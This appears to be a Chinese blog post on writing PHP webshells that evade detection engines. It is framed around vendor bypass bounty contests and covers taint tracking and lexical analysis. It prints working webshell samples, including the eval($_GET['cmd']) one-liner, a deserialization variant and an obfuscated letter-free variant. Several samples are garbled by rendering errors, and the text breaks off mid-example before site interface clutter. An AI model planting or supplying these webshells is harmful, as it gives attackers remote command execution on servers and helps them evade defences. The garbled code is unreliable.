利用PHP的特性做免杀Webshell

0x01 前言

最近很多家厂商都陆续开放了自己的Webshell检测引擎,并且公开接口,邀请众安全研究员参加尝试bypass检测引擎,并且给予奖励,我也参加了几场类似的活动,有
ASRC伏魔计划 ,也有 TSRC猎刃计划 ,还有最近正在进行的 长亭
牧云(Aka.关山)Webshell检测引擎 ,如果你都参加或者关注了这三个比赛,你会发现他们都提到了以下几个技术:1、词法分析2、污点追踪3、恶意代码检测

这些新技术我们后面的章节中,我们先讲一下传统的Webshell检测机制,再对照着最新的Webshell检测技术来说明一下如何在新技术下做免杀Webshell(本文所有Webshell基于PHP语言)

0x02 传统Webshell检测

传统的Webshell检测技术主要依赖于字符串的正则特征,在面对于已知的样本可以做到高准确率检测,在长时间的样本收取下,也可以做到满足日常运维中的Webshell检测,举几个经典的Webshell样本

1、经典一句话Webshell<?php eval($_GET['cmd']);?>

2、反序列化Webshell<?phpClass H3{function __destruct(){eval(KaTeX parse error: Expected 'EOF', got '}' at position 10: this->c);}̲}a= new H3;$a->c = $_GET[‘cmd’];

3、无字母Webshell<?php = 97 ; _ = 97; =97;__ = 97 + 18; //s$___ = KaTeX parse error: Expected group after '_' at position 1: _̲_ + 6; //y____ = KaTeX parse error: Expected group after '_' at position 1: _̲_ + 1; //t_____ = + 4 ; / / e _ + 4; //e +4;//e______ = KaTeX parse error: Expected group after '_' at position 1: _̲_ - 6; //m​res = chr(KaTeX parse error: Expected group after '_' at position 1: _̲_).chr().chr(KaTeX parse error: Expected group after '_' at position 1: _̲_).chr().chr(KaTeX parse error: Expected group after '_' at position 1: _̲____).chr(___);$= P O S T [ ′ c m d ′ ] ; _POST['cmd']; POST[cmd];res($);

但是对于当下的技术发展,黑客们可以更加精心的编写Webshell来"骗"过传统的Webshell检测机制,而且Webshell易变形,在面对0day样本的时候,传统Webshell检测就会效果欠佳,也就需要更加全面的手段来与其抗衡

0x03 新型Webshell检测

对于现如今的情况下,传统的Webshell检测对于0day样本的检测效率已经不是特别好了,所以这时候就需要一种"主动"的检测方式,能够让引擎主动去理解脚本、分析样本,发现样本中的恶意行为,而不是依靠人工来添加Webshell特征。

1、污点追踪

举个例子,对于一个Webshell来说,如果要进行任意命令执行,就一定要获取外界数据,对于PHP来说也就是$_GET$_POST来接受数据,而要想任意命令执行,这些接收到的数据也就一定要最终传递到evalsystem等函数中,而
污点追踪
技术就是利用这一点,如果样本中的外界变量通过不断传递,最终进入到危险函数中,那基本上就可以断定为Webshell,将外界变量视为污点源,危险函数视为污点汇聚点,跟踪污点传播过程,判断污点变量是否被洗白,最终是否进入污点汇聚点,画一个流程图如下:

污点追踪.png

2、词法分析

检测引擎会将各种脚本语言进行词法语法分析,然后构建控制流图和数据流图,并在图上跟踪外界污点变量的传递,使用外界变量是WebShell非常重要的特征,如果发现外界变量最终进入了命令执行函数,就可以判断为Webshell。

640.png

引擎可以将传统的条件、循环、函数、对象的静态分析,目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的分析,大大的强化的未知样本的检测成功率。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

3、加密还原

在此之前我们的Webshell常用的绕过检测的方法就是通过加密来绕过,例子如下:<?php = [ ] ; _=[]; =[];=@"$"; // =

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值